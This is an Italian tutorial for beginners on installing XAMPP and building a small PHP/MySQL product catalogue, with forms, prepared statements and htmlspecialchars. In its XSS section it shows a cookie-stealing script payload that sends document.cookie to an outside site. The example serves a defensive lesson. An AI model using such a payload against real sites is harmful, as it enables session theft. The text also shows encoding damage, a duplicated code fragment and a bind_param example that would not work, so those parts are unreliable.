Non preoccuparti se non sei sicuro: spiegheremo tutto passo passo!
XAMPP Γ¨ un pacchetto software gratuito che installa automaticamente tutti gli strumenti necessari per creare un ambiente di sviluppo web locale. Il nome Γ¨ un acronimo:
Senza XAMPP, dovresti installare e configurare ogni componente separatamente, con procedure complesse. XAMPP semplifica tutto: un'unica installazione e un pannello di controllo unificato.
apachefriends.org e scarica l'ultima versione di XAMPP per il tuo sistema operativo. Scegli la versione con PHP 7.4 o superiore (consigliato PHP 8.0+).
C:\xampp. Non cambiare percorso durante l'installazione a meno che non sia strettamente necessario. L'installazione puΓ² richiedere 5-10 minuti.
http://localhost. Se vedi la pagina di benvenuto di XAMPP, Apache funziona correttamente.
http://localhost/phpmyadmin. Se si apre phpMyAdmin, MySQL Γ¨ attivo e funzionante.
La porta 80 Γ¨ la porta predefinita per HTTP. Se un altro programma (spesso Skype, TeamViewer, o un altro server web) la sta usando, Apache non puΓ² avviarsi.
Pannello di controllo β Programmi β Attiva/Disattiva funzionalitΓ Windows e deseleziona "Internet Information Services".C:\xampp\apache\conf\httpd.conf: cerca Listen 80 e cambia in Listen 8080. Poi usa http://localhost:8080/progetto/.Le cause piΓΉ comuni:
netstat -ano | findstr :3306 nel terminale per vedere chi la usa.
ibdata1 in C:\xampp\mysql\data\ si corrompe. La soluzione: copia la cartella backup (sempre in data) e rinominarla in data (dopo aver fermato MySQL e salvato i tuoi database importanti).
Se vedi una pagina bianca invece del codice, significa che ci sono errori PHP che non vengono mostrati. Per abilitare la visualizzazione degli errori:
C:\xampp\php\php.inidisplay_errors e cambia in display_errors = Onerror_reporting e imposta error_reporting = E_ALLconnessione.php di conseguenza.
php.ini o httpd.conf), devi sempre fermare e riavviare Apache e MySQL dal pannello di controllo per applicare le modifiche.
Quando visiti una pagina web, avviene questo flusso:
Immagina di voler aggiungere un nuovo prodotto su un sito web (es. un negozio online).
Immagina di voler registrare un nuovo libro nella biblioteca del paese.
Leggi questo prima! Ti aiuterΓ a capire tutto il resto.
XAMPP ha una cartella speciale chiamata htdocs (abbreviazione di "HTML documents") che Γ¨ la radice del web server. Tutto ciΓ² che Γ¨ dentro C:\xampp\htdocs\ puΓ² essere accessibile via browser.
Percorsi principali: C:\xampp\ β Cartella principale di XAMPP C:\xampp\htdocs\ β Qui metti TUTTI i tuoi progetti web C:\xampp\htdocs\progetto\ β π LA TUA CARTELLA DEL PROGETTO File del progetto (in C:\xampp\htdocs\progetto\): π index.html β Home page π inserimento.html β Form per inserire prodotti π ricerca.html β Form per cercare prodotti βοΈ connessione.php β Connessione al database βοΈ inserimento.php β Riceve i dati e salva nel DB βοΈ ricerca.php β Cerca nel database π§ xampp-control.exe β Pannello di controllo (in C:\xampp\)
C:\xampp\htdocs\progettoC:\xampp\htdocs\progettoindex.html e premi Invioinserimento.html, ricerca.htmlconnessione.phpinserimento.phpricerca.phpimmaginiPrima di poter usare la tua webapp, devi creare il database e la tabella prodotti. Segui questi passaggi nell'ordine esatto:
C:\xampp\xampp-control.exehttp://localhost/phpmyadminC:\xampp\htdocs\progetto\database.sqlC:\xampp\htdocs\progetto\database.sqlweb_app nell'elenco dei databaseweb_app per espanderloprodottiβ οΈ Se segui la versione semplificata: Quando vedi codice con "immagine" nelle sezioni successive, ignoralo o adattalo alla tua tabella semplificata.
database.sql (non database.sql.txt)-- Crea l'archivio (se non esiste giΓ ) CREATE DATABASE IF NOT EXISTS web_app; -- Apri l'archivio per lavorarci USE web_app; -- Crea il cassetto "prodotti" con le sue colonne (versione SEMPLIFICATA) -- Solo i campi essenziali che compili nel form: nome, descrizione, prezzo CREATE TABLE IF NOT EXISTS prodotti ( id INT AUTO_INCREMENT PRIMARY KEY, nome VARCHAR(50) NOT NULL, descrizione TEXT, prezzo DECIMAL(6, 2) NOT NULL );
http://localhost/progetto/index.html β Home page (pagina di benvenuto)
http://localhost/progetto/inserimento.html β Inserisci nuovi prodotti
http://localhost/progetto/ricerca.html β Cerca prodotti nel database
Il codice per creare il database e la tabella prodotti Γ¨ giΓ stato mostrato sopra. Se hai seguito la procedura passo-passo, il database Γ¨ giΓ pronto!
Se vuoi vedere di nuovo il codice o ricrearlo, lo trovi nella sezione precedente "ποΈ Importare il database in phpMyAdmin".
| Colonna | Tipo | Spiegazione semplice | Esempio |
|---|---|---|---|
id |
INT AUTO_INCREMENT | Numero automatico che si incrementa da solo. Γ come il "numero di pratica" che identifica ogni prodotto in modo unico. | 1, 2, 3, 4... |
nome |
VARCHAR(50) | Testo corto (max 50 caratteri). NOT NULL = obbligatorio, non puΓ² essere vuoto. | "Laptop HP" |
descrizione |
TEXT | Testo lungo senza limiti pratici. PuΓ² essere lasciato vuoto. | "Portatile 15 pollici, 16GB RAM..." |
prezzo |
DECIMAL(6,2) | Numero con 2 decimali per i centesimi. Obbligatorio. | 1199.99 |
| id | nome | descrizione | prezzo |
|---|---|---|---|
| 1 | Laptop HP | Portatile 15 pollici | 899.99 |
| 2 | Mouse Wireless | Mouse ergonomico | 29.50 |
| 3 | Tastiera RGB | Tastiera meccanica | 79.00 |
Nota: l'ID si Γ¨ incrementato automaticamente: 1, 2, 3...
Un form HTML Γ¨ come un modulo cartaceo che compili con una penna, ma in versione digitale. Γ lo strumento che permette all'utente di inviare dati al server.
π§ Struttura base di un form:
<form action="pagina_che_riceve.php" method="post">
<label>Nome:</label>
<input type="text" name="nome"> β Casella di testo
<label>Password:</label>
<input type="password" name="password"> β Casella password
<input type="submit" value="Invia"> β Pulsante per inviare
</form>
π― Come funziona:
Prima di scrivere il codice, ripassiamo i tag HTML che useremo. Un tag Γ¨ un "comando" che dice al browser come visualizzare il contenuto.
| π·οΈ Tag | π Cosa fa | π» Esempio |
|---|---|---|
<form> |
<form action="inserimento.php" method="post">......</form>Indica che i dati inseriti dall'utente nella pagina web sono mandati con il metodo post (quindi in "busta chiusa") al server PHP che li elabora mediante il file "inserimento.php".In luogo dei "..." ci sono le istruzioni HTML che permettono all'utente di inserire i dati (ad esempio <label>Nome</label><br><input type="text" name="nome">).
|
<form action="pagina.php">...</form> |
<label> |
Etichetta che descrive cosa inserire nel campo accanto. | <label>Nome:</label> |
<input> |
Casella di testo dove l'utente scrive. Non ha tag di chiusura. | <input type="text" name="nome"> |
<textarea> |
Come <input>, ma per testi lunghi (piΓΉ righe, nell'esempio 3 righe). |
<textarea rows="3"></textarea> |
<br> |
Va a capo (come "Invio" sulla tastiera). Non ha chiusura. | Riga 1<br>Riga 2 |
<input type="submit"> |
Pulsante che invia i dati al server quando ci clicchi sopra. | <input type="submit" value="Invia"> |
action="inserimento.php" β Il file PHP che contiene il codice che il server eseguirΓ per elaborare i dati inseriti dall'utente tramite il formmethod="post" β I dati non appaiono nell'URL (viaggiano nel "corpo" della richiesta). β οΈ Attenzione: non sono crittografati, serve HTTPS per proteggerlimethod="get" β I dati sono visibili nell'URL (in "cartolina", chiunque puΓ² vederli)name="..." β Etichetta per PHP (es: $_POST['nome'])required β Campo obbligatoriotype="number" β Solo numeristep="0.01" β Permette i decimali
<!DOCTYPE html>
<html lang="it">
<head>
<meta charset="UTF-8">
<title>Catalogo Prodotti - Home</title>
</head>
<body>
<h1>Catalogo Prodotti</h1>
<p><a href="inserimento.html">Inserisci prodotto</a></p>
<p><a href="ricerca.html">Ricerca prodotto</a></p>
</body>
</html>
<h1>Catalogo Prodotti</h1>)<?php // βββββββββββββββββββββββββββββββββββββββββββ // LE "CHIAVI" PER ENTRARE NEL DATABASE // βββββββββββββββββββββββββββββββββββββββββββ $servername = "localhost"; // Dove si trova? (localhost = qui) $username = "root"; // Chi sei? (utente predefinito di MySQL) $password = ""; // Password vuota (default di XAMPP) $dbname = "web_app"; // Quale database aprire? // βββββββββββββββββββββββββββββββββββββββββββ // PROVA AD APRIRE LA CONNESSIONE // βββββββββββββββββββββββββββββββββββββββββββ $conn = new mysqli($servername, $username, $password, $dbname); // βββββββββββββββββββββββββββββββββββββββββββ // CONTROLLA SE LA PORTA SI Γ APERTA // βββββββββββββββββββββββββββββββββββββββββββ if ($conn->connect_error) { // Se c'Γ¨ un errore, FERMATI e mostra cosa Γ¨ andato storto die("β Connessione fallita: " . $conn->connect_error); } // Se arriviamo qui, la connessione funziona! π ?>
$conn = new mysqli(...)$conn.$conn come a una "linea telefonica aperta" con il database.if ($conn->connect_error)$conn->connect_error restituisce il messaggio di errore (se c'Γ¨ un problema) oppure NULL (se tutto ok).NULL Γ¨ un valore speciale che significa "nessun valore". Non Γ¨ 0 (zero Γ¨ un numero), non Γ¨ "" (stringa vuota Γ¨ comunque un testo, il testo vuoto), Γ¨ proprio assenza di valore.true ed entra nel blocco. Se Γ¨ NULL (nessun errore), la condizione Γ¨ false e salta il blocco.-> significa "accedi a una proprietΓ dell'oggetto $conn".
die("Messaggio")die() = "muori qui". Ferma tutto il programma e mostra il messaggio.$password = ""; Se hai cambiato la password, aggiorna connessione.php con la tua password effettiva.
<!DOCTYPE html>
<html lang="it">
<head>
<meta charset="UTF-8">
<title>Inserisci Prodotto</title>
</head>
<body>
<h2>π Inserisci Nuovo Prodotto</h2>
<!--
action = "A CHI mandare i dati"
method = "COME mandarli" (post = nel corpo della richiesta, get = visibili nell'URL)
-->
<form action="inserimento.php" method="post">
<!-- Ogni input ha un name: Γ¨ l'etichetta per riconoscerlo -->
<label for="nome">Nome prodotto:</label><br>
<input type="text" id="nome" name="nome" required>
<br><br>
<label for="descrizione">Descrizione:</label><br>
<textarea id="descrizione" name="descrizione" rows="3" cols="40"></textarea>
<br><br>
<label for="prezzo">Prezzo (β¬):</label><br>
<input type="number" id="prezzo" name="prezzo" step="0.01" required>
<br><br>
<input type="submit" value="πΎ Salva Prodotto">
</form>
<p><a href="index.html">β Torna alla home</a></p>
</body>
</html>
name Γ¨ FONDAMENTALE!<input name="nome" value="Laptop"><input name="prezzo" value="999">
$_POST['nome'] contiene "Laptop"$_POST['prezzo'] contiene "999"
Il name dell'HTML diventa la chiave per recuperare il valore in PHP!
| POST (busta chiusa) π | GET (cartolina) π | |
|---|---|---|
| Dove sono i dati? | Nascosti nel "corpo" della richiesta | Visibili nell'URL: ?nome=laptop&prezzo=999 |
| Quando usarlo? | Per modificare dati (inserire, eliminare) | Per leggere dati (cercare, filtrare) |
| Sicurezza? | PiΓΉ sicuro (dati non in cronologia) | Meno sicuro (dati visibili e salvabili) |
Prima di analizzare inserimento.php, ecco due concetti fondamentali di PHP che useremo:
In PHP, le variabili si definiscono semplicemente con il simbolo $ seguito dal nome:
$nome β una variabile che contiene un nome$prezzo β una variabile che contiene un prezzo$conn β una variabile che contiene la connessione al databaseNota: Il simbolo $ Γ¨ obbligatorio! Senza di esso, PHP pensa che tu stia usando una costante.
echo serve a stampare output nel browser:
echo "Ciao"; β Scrive "Ciao" nella pagina HTMLecho "<h2>Titolo</h2>"; β Crea un titolo H2echo "<p>Testo</p>"; β Crea un paragrafoIn pratica: echo permette di "creare" HTML dinamicamente con PHP! Ovvero echo permette di scrivere elementi HTML direttamente nel codice PHP, cosΓ¬ che diventino visibili nella pagina web prodotta dal codice PHP.
<?php // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 1: APRI LA CONNESSIONE AL DATABASE β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ require_once 'connessione.php'; // require_once = "includi questo file, ovvero esegui le istruzioni del file connessione.php, ma solo una volta" // Dopo questa riga, la variabile $conn (la connessione al database) Γ¨ disponibile // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 2: RECUPERA I DATI INVIATI DAL FORM β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // Verifico che tutti i campi siano stati compilati if (empty($_POST['nome']) || empty($_POST['prezzo'])) { die("β Errore: I campi 'nome' e 'prezzo' sono obbligatori."); } $nome = $_POST['nome']; $descrizione = $_POST['descrizione']; $prezzo = $_POST['prezzo']; // $_POST Γ¨ un array associativo ove ogni dato Γ¨ individuato da un'etichetta ("chiave") // inviati con method="post". Il nome del campo HTML diventa la "chiave" associata al valore del campo // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 3: PREPARA LA QUERY CON I "BUCHI" (segnaposto) β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ $stmt = $conn->prepare( "INSERT INTO prodotti (nome, descrizione, prezzo) VALUES (?, ?, ?)" ); // I punti interrogativi (?) sono SEGNAPOSTO. // Dicono: "qui metterΓ² un valore, ma, per motivi di sicurezza, non ancora". // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 4: RIEMPI I "BUCHI" CON I VALORI REALI β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ $stmt->bind_param("ssd", $nome, $descrizione, $prezzo); // bind_param COLLEGA i valori ai segnaposto. // "ssd" = tipi dei dati: String, String, Double (decimale) // L'ordine conta! Il primo "s" va col primo ?, ecc. // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 5: ESEGUI! Ora i dati vengono salvati β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ if ($stmt->execute()) { // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 6: CONFERMA ALL'UTENTE β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ echo "<h2>β Prodotto salvato con successo!</h2>"; echo "<p>Nome: " . htmlspecialchars($nome) . "</p>"; echo "<p>Prezzo: β¬" . htmlspecialchars($prezzo) . "</p>"; echo "<p><a href='index.html'>β Torna alla home</a></p>"; } else { echo "<h2>β Errore nel salvataggio del prodotto.</h2>"; echo "<p>Dettaglio: " . $stmt->error . "</p>"; echo "<p><a href='inserimento.html'>β Torna al form</a></p>"; } // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 7: CHIUDI TUTTO (buona pratica) β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ $stmt->close(); $conn->close(); ?>
connessione.php, header.php, footer.php).
include 'header.php';
# Se header.php non esiste:
# β PHP mostra un WARNING β οΈ
# β Il programma CONTINUA a eseguire
2. require 'file.php' - "Devi includere"
require 'connessione.php';
# Se connessione.php non esiste:
# β PHP mostra un ERRORE FATALE β
# β Il programma SI FERMA subito
3. include_once 'file.php' - "Includi una sola volta"
include_once 'header.php';
include_once 'header.php'; # β Ignorata! GiΓ incluso prima
# Utile per evitare di includere due volte lo stesso file
4. require_once 'file.php' - "Devi includere, una sola volta"
require_once 'connessione.php';
require_once 'connessione.php'; # β Ignorata! GiΓ incluso prima
# IL PIΓ SICURO: blocca se manca + evita duplicati
π― Quando usare ciascuno:
connessione.php Γ¨ essenziale β senza di esso, il sito non funziona
# I dati sono individuati da un numero (indice)
$frutti = ["Mela Red delicious", "Pera Williams", "Arancia Tarocco"];
echo $frutti[0]; # β "Mela Red delicious"
echo $frutti[1]; # β "Pera Williams"
echo $frutti[2]; # β "Arancia Tarocco"
Array ASSOCIATIVO (con chiavi nominate):
# I dati sono individuati dal NOME (chiave)
$fruttiAssociativo = [
"mela" => "Mela Red delicious",
"pera" => "Pera Williams",
"arancia" => "Arancia Tarocco"
];
echo $fruttiAssociativo["mela"]; # β "Mela Red delicious"
echo $fruttiAssociativo["pera"]; # β "Pera Williams"
echo $fruttiAssociativo["arancia"]; # β "Arancia Tarocco"
π― $_POST Γ¨ un array associativo!
# Nel form HTML:
<input name="nome" value="Laptop">
<input name="prezzo" value="999">
# In PHP diventa:
$_POST = [
"nome" => "Laptop",
"prezzo" => "999"
];
# Per prendere i valori:
$_POST["nome"]; # β "Laptop"
$_POST["prezzo"]; # β "999"
π‘ Analogia della rubrica telefonica:
$_POST Γ¨ una variabile speciale di PHP che esiste automaticamente. Contiene tutti i dati inviati da un form con method="post".
[
"nome" => "Laptop Gaming",
"descrizione" => "16GB RAM",
"prezzo" => "1299.99"
]
Per prendere un valore: $_POST['nome_del_campo']
Binding (dal verbo inglese "to bind" = legare/collegare) Γ¨ il meccanismo che collega i valori reali delle variabili PHP ai segnaposto "?" nella query SQL preparata.
Invece di inserire direttamente i valori nella stringa SQL (rischioso per la SQL Injection), usiamo i "?" come segnaposto. Il binding dice al database: "al primo ? metti questa variabile, al secondo quest'altra", e il database si occupa di controllare che il tipo di dato sia corretto (numero, testo, ecc.) e di proteggere da attacchi.
π‘ Come funziona il binding:
Query con segnapostoINSERT INTO prodotti VALUES (?, ?, ?)
bind_param() collega il primo ? alla variabile $nome,
il secondo ? alla variabile $desc,
il terzo ? alla variabile $prezzo.
La stringa "ssd" indica che:
$nome Γ¨ di tipo stringa,
$desc Γ¨ di tipo stringa,
$prezzo Γ¨ di tipo decimale (double).
bind_param()Il parametro "ssd" in bind_param("ssd", $nome, $desc, $prezzo) Γ¨ una stringa dove ogni lettera indica il tipo della variabile corrispondente:
| Lettera | Tipo PHP/MySQL | Quando usarla |
|---|---|---|
| s | String / VARCHAR / TEXT | Nomi, email, descrizioni, qualsiasi testo Anche per: DATE, DATETIME, TIMESTAMP (formato "YYYY-MM-DD") |
| i | Integer / INT | ID, quantitΓ , etΓ , numeri senza decimali Anche per: BOOLEAN, TINYINT ( 1 = true, 0 = false) |
| d | Double / DECIMAL / FLOAT | Prezzi, percentuali, misure con decimali |
| b | Blob / Binary | File, immagini, dati binari (uso avanzato) |
π‘ Esempio pratico: bind_param("isds", $id, $nome, $prezzo, $email)
significa: Integer, String, Double, String
?, le lettere del tipo e le variabili non corrispondono in numero.VALUES (?, ?, ?)bind_param("ss", $a, $b)VALUES (?, ?, ?)bind_param("ssd", $a, $b, $c)htmlspecialchars trasforma i dati visualizzati tramite PHP in modo da rendere innocuo eventuale codice dannoso aggiunto da un hacker: il codice potenzialmente pericoloso diventa semplice testo visibile ma inoffensivo proteggendo così dagli attacchi XSS (Cross-Site Scripting)
<td><?php echo $row["nome"]; ?></td>Se il nome contiene codice HTML come <script>alert('hack')</script>, viene eseguito!
<td><?php echo htmlspecialchars($row["nome"]); ?></td><script>alert('hack')</script>" viene reso innocuo trasformandolo in : <script>alert('hack')</script>
htmlspecialchars rende innocuo codice inserito da un hacker convertendo alcuni caratteri. Caratteri convertiti:
& diventa &< diventa <> diventa >" diventa "' diventa 'Immagina che un utente malevolo inserisca nel campo "nome" questo codice:
<script>document.location='http://miosito.com?cookie='+document.cookie</script>
Scenario A: Senza protezione
Se mostri questo valore direttamente, il browser non visualizzerΓ nulla, ma eseguirΓ il comando. L'utente verrΓ reindirizzato e i suoi cookie rubati. A schermo la pagina apparirΓ bianca o interrotta.
Scenario B: Con htmlspecialchars()
Il server converte i caratteri speciali, anche quelli del codice aggiunto dall'hacker, prima di inviarli al browser:
| Codice Sorgente (HTML) | CiΓ² che il Browser MOSTRA |
|---|---|
<script> |
<script> |
In questo modo, il codice malevolo viene visualizzato come testo normale e innocuo, e appare su schermo esattamente così:
(Vedi? Ora Γ¨ solo una scritta a video, il browser non lo interpreta piΓΉ come un comando!)
<!DOCTYPE html>
<html lang="it">
<head>
<meta charset="UTF-8">
<title>Cerca Prodotti</title>
</head>
<body>
<h2>π Cerca Prodotti</h2>
<!-- Usiamo GET perchΓ© Γ¨ una ricerca (lettura, non modifica) -->
<form action="ricerca.php" method="get">
<label for="cerca_nome">Cerca per nome:</label>
<input type="text" id="cerca_nome" name="nome" placeholder="es: laptop, mouse...">
<input type="submit" value="π Cerca">
</form>
<p><a href="index.html">β Torna alla home</a></p>
</body>
</html>
method="get" perchΓ©:
ricerca.php?nome=laptop
<?php
// PASSO 1: Connessione
require_once 'connessione.php';
// PASSO 2: Recupera il termine cercato dall'URL
// (Con GET, i dati sono nell'URL: ricerca.php?nome=laptop)
$nome = $_GET['nome'];
// PASSO 3: Prepara la query di ricerca
// Cerca il nome ESATTAMENTE come digitato dall'utente
// ? Γ¨ il segnaposto per il termine di ricerca
$stmt = $conn->prepare(
"SELECT * FROM prodotti WHERE nome = ?"
);
// PASSO 4: Sostituisce il segnaposto con il valore della variabile $nome
$stmt->bind_param("s", $nome);
// PASSO 5: Esegui la ricerca
$stmt->execute();
// PASSO 6: Ottieni i risultati
$result = $stmt->get_result();
// PASSO 7: Visualizza i risultati con echo
// Mostra intestazione risultati
echo "<h2>Risultati per '" . htmlspecialchars($nome) . "'</h2>";
// Controlla se ci sono risultati ($result->num_rows Γ¨ il numero delle righe restituite dalla Query di ricerca)
if ($result->num_rows > 0) {
echo "<p>Trovati <strong>" . $result->num_rows . "</strong> prodotti:</p>";
// Inizio tabella: intestazione tabella
echo "<table border='1' style='border-collapse: collapse; width: 100%;'>";
echo "<tr style='background-color: #3498db; color: white;'>";
echo "<th>ID</th><th>Nome</th><th>Descrizione</th><th>Prezzo</th></tr>";
// Ciclo attraverso ogni riga della tabella restituita dalla Query per la ricerca
while($row = $result->fetch_assoc()) {
echo "<tr>";
echo "<td>" . $row["id"] . "</td>";
echo "<td>" . htmlspecialchars($row["nome"]) . "</td>";
echo "<td>" . htmlspecialchars($row["descrizione"]) . "</td>";
echo "<td>β¬" . $row["prezzo"] . "</td>";
echo "</tr>";
}
echo "</table>";
} else {
echo "<p>β Nessun prodotto trovato.</p>";
}
// Link per nuova ricerca
echo "<p>";
echo "<a href='ricerca.html'>π Nuova ricerca</a> | ";
echo "<a href='index.html'>Β Home</a>";
echo "</p>";
// PASSO 8: Chiudi le connessioni
$stmt->close();
$conn->close();
?>
echo "</table>";
} else {
echo "<p>β Nessun prodotto trovato.</p>";
}
// Link per nuova ricerca
echo "<p>";
echo "<a href='ricerca.html'>π Nuova ricerca</a> | ";
echo "<a href='index.html'>Β Home</a>";
echo "</p>";
// PASSO 9: Chiudi le connessioni
$stmt->close();
$conn->close();
?>
Quando usi fetch_assoc(), ogni riga della tabella restituita dalla query diventa un array associativo: un array dove ogni cella ha un nome e la cella non Γ¨ individuata dal suo indice ma dal suo nome
| ID: | 1 |
| Nome: | Laptop Gaming |
| Descrizione: | 16GB RAM, SSD |
| Prezzo: | 1299.99 |
$row, e per leggere un valore usi l'etichetta(il nome della cella):
$row["nome"] β "Laptop Gaming"$row["prezzo"] β "1299.99"| id | nome | prezzo |
|---|---|---|
| 1 | Laptop | 999 |
$row = [
"id" => 1,
"nome" => "Laptop",
"prezzo" => 999
];
while($row = $result->fetch_assoc())?Il capo ha chiesto al magazziniere: "Prepara un elenco completo di tutti i prodotti che abbiamo, in ordine, in una bella tabella".
Il magazziniere ha a disposizione:
$result) che contiene le schede originali del database, scritte in un linguaggio complicato e poco leggibile (codice interno del database).$row), dove appoggia i foglietti su cui lavorare.La funzione fetch_assoc() Γ¨ il suo lavoro: con le sue mani, prende una scheda originale dallo scatolone, la legge e la riscrive in un foglietto chiaro e semplice (l'array associativo, con etichette tipo "nome", "prezzo"), e poi appoggia quel foglietto sul bancone.
L'operazione: $row = $result->fetch_assoc()
$row) sul bancone.NULL).Il controllo del while:
Subito dopo, il ciclo guarda il bancone:
Prima del ciclo: Il magazziniere ha lo scatolone pieno di schede originali, il bancone vuoto, e la tabella vuota.
["nome" => "Laptop", "prezzo" => 1000].$row).["nome" => "Mouse", "prezzo" => 20] (il vecchio foglietto viene buttato via).$row ora contiene i dati del Mouse).NULL).Alla fine, la tabella Γ¨ completa:
| Nome | Prezzo |
|---|---|
| Laptop | β¬1000 |
| Mouse | β¬20 |
| Monitor | β¬300 |
PerchΓ© la scheda originale nel database non Γ¨ direttamente utilizzabile da PHP. fetch_assoc() traduce i dati in un linguaggio che PHP capisce (l'array associativo). Γ come se il magazziniere ricevesse schede scritte in codice e le riscrivesse in italiano semplice sul foglietto, prima di leggerle per compilare la tabella.
$row (array associativo)$result (risultato della query)fetch_assoc()
| $_POST / $_GET | Array associativi che contengono i dati inviati dal form. Usi il name del campo(ad esempio nei campi di testo input type=...) come chiave (la chiave della cella di un array associativo Γ¨ l'etichetta della cella). |
| Segnaposto (?) | Segnaposto nella query. Il valore viene inserito dopo in modo sicuro. |
| bind_param("tipi", ...) | Sostituisce i segnaposto con i valori di tipo sidb ottenuti con $_POST / $_GET ove: s = stringa (VARCHAR, TEXT, CHAR, DATE, DATETIME, TIMESTAMP) i = intero (INT, INTEGER, BOOLEAN, TINYINT) d = decimale (DECIMAL, FLOAT, DOUBLE) b = blob (BLOB, file binari) Nota: le lettere sono evidenziate con colori diversi per distinguerle visivamente. Note importanti: β’ DATE/DATETIME: usa "s" con formato "YYYY-MM-DD" o "YYYY-MM-DD HH:MM:SS"β’ BOOLEAN: usa "i" con 1 (true) o 0 (false) |
| fetch_assoc() | Legge una riga dalla tabella risultante della query e la restituisce come array associativo, da assegnare tipicamente a $row. |
| $row["nome_colonna"] | Accede al valore di una colonna specifica nella riga corrente. Ad esempio, se la query restituisce le colonne nome, prezzo, descrizione, si accede al prezzo con $row["prezzo"]. |
| htmlspecialchars() | Rende sicuro mostrare dati utente in HTML (previene attacchi XSS - Cross-Site Scripting). |
bind_param("ssd", $a, $b, $c)?
"YYYY-MM-DD" per DATE o "YYYY-MM-DD HH:MM:SS" per DATETIME. Esempio: bind_param("s", "2026-03-16").1 per true/vero o 0 per false/falso. Esempio: bind_param("i", 1) per attivo, bind_param("i", 0) per inattivo.$_POST['nome']?
name="nome" dal form inviato. Se l'utente ha scritto "Mario" in quel campo, $_POST['nome'] vale "Mario".while con fetch_assoc()?
fetch_assoc() prende una riga alla volta dal risultato. Il while continua finchΓ© ci sono righe da leggere.Se sai rispondere, hai capito i concetti fondamentali! π
Obiettivo: Creare un sito web semplice che permetta di inserire e cercare prodotti in un database, mostrando anche le loro immagini.
Strumenti: XAMPP (Apache + MySQL + PHP), un editor di testo (come Notepad++ o VS Code), un browser.
Approccio: Spiegheremo ogni passaggio come se fosse la prima volta che lo fai. Niente termini tecnici senza spiegazione.
XAMPP ha una cartella speciale chiamata htdocs (abbreviazione di "HTML Documents"). Γ la radice del tuo sito web: tutto ciΓ² che ci metti dentro C:\xampp\htdocs\ sarΓ accessibile via browser.
Per il nostro progetto, creiamo questa struttura: nella cartella C:\xampp\htdocs\ crei la sottocartella progetto, poi, usando un editor come VS Code, crei (copiando il codice che ti fornirΓ² dopo) i file index.html, inserimento.html, ricerca.html, connessione.php, inserimento.php, ricerca.php e li salvi nella sottocartella progetto; crei la sottocartella immagini, inserisci le immagini laptop.jpg, mouse.png; avrai infine la struttura:
C:\xampp\htdocs\progetto\index.html β Menu principale (pagina di benvenuto) C:\xampp\htdocs\progetto\inserimento.html β Form per inserire nuovi prodotti C:\xampp\htdocs\progetto\ricerca.html β Form per cercare prodotti C:\xampp\htdocs\progetto\connessione.php β File "segreto" con le chiavi del database C:\xampp\htdocs\progetto\inserimento.php β Il "cervello" che salva i dati nel DB C:\xampp\htdocs\progetto\ricerca.php β Il "cervello" che legge i dati dal DB C:\xampp\htdocs\progetto\immagini\ β Cartella dove metterai le foto dei prodotti C:\xampp\htdocs\progetto\immagini\laptop.jpg C:\xampp\htdocs\progetto\immagini\mouse.png ...
Come aprire il progetto: Nel browser scrivi http://localhost/progetto/index.html
Questa Γ¨ la pagina di benvenuto che mostra il menu con i link alle varie funzionalitΓ del progetto.
<!DOCTYPE html>
<html lang="it">
<head>
<meta charset="UTF-8">
<title>Catalogo Prodotti - Home</title>
</head>
<body>
<h1>Catalogo Prodotti</h1>
<p><a href="inserimento.html">Inserisci prodotto</a></p>
<p><a href="ricerca.html">Ricerca prodotto</a></p>
</body>
</html>
Il database Γ¨ come un enorme archivio con cassetti:
web_app)prodotti)Apri http://localhost/phpmyadmin e segui la procedura per importare il database vista nella Sezione 0.
-- 1. Creiamo il database (l'archivio) CREATE DATABASE IF NOT EXISTS web_app; -- 2. Usiamo questo database USE web_app; -- 3. Creiamo la tabella prodotti (il cassetto) CREATE TABLE IF NOT EXISTS prodotti ( id INT AUTO_INCREMENT PRIMARY KEY, -- Numero unico che si assegna da solo nome VARCHAR(20) NOT NULL, -- Nome del prodotto (max 20 caratteri) descrizione TEXT, -- Descrizione lunga (illimitata) prezzo DECIMAL(6,2) NOT NULL, -- Prezzo con 2 decimali (es: 99.99) immagine VARCHAR(255) -- Percorso dell'immagine (es: "immagini/laptop.jpg") );
| Colonna | Tipo | Spiegazione | Esempio |
|---|---|---|---|
id |
INT AUTO_INCREMENT PRIMARY KEY |
Numero che aumenta automaticamente. Γ l'identificativo unico del prodotto. Non lo inserisci tu, lo sistema il database da solo. | 1, 2, 3, 4... |
nome |
VARCHAR(20) NOT NULL |
Testo corto (massimo 20 caratteri). NOT NULL significa che Γ¨ obbligatorio, non puΓ² essere vuoto. |
"Laptop HP", "Mouse Wireless" |
descrizione |
TEXT |
Testo lungo senza limiti pratici. PuΓ² essere vuoto. | "Portatile 15 pollici, 16GB RAM, SSD 512GB..." |
prezzo |
DECIMAL(6,2) |
Numero con 2 decimali. Il primo numero (6) Γ¨ le cifre totali, il secondo (2) sono i decimali. | 1199.99, 29.50 |
immagine |
VARCHAR(255) |
Testo che contiene il percorso del file immagine (es: "immagini/laptop.jpg"). PuΓ² essere vuoto. |
"immagini/prodotto1.jpg" |
Per parlare con il database, hai bisogno di una "chiave" che contiene:
"localhost" = stesso computer)"root" Γ¨ l'amministratore in XAMPP)"web_app")<?php
// 1. Dati per collegarsi al database
$servername = "localhost"; // Il database Γ¨ sul tuo computer
$username = "root"; // Utente amministratore
$password = ""; // ATTENZIONE: su XAMPP la password Γ¨ VUOTA!
$dbname = "web_app"; // Nome del database che abbiamo creato
// 2. Tentativo di connessione
$conn = new mysqli($servername, $username, $password, $dbname);
// 3. Controllo: se la connessione fallisce, ferma tutto e mostra l'errore
if ($conn->connect_error) {
die("β Connessione fallita: " . $conn->connect_error);
}
?>
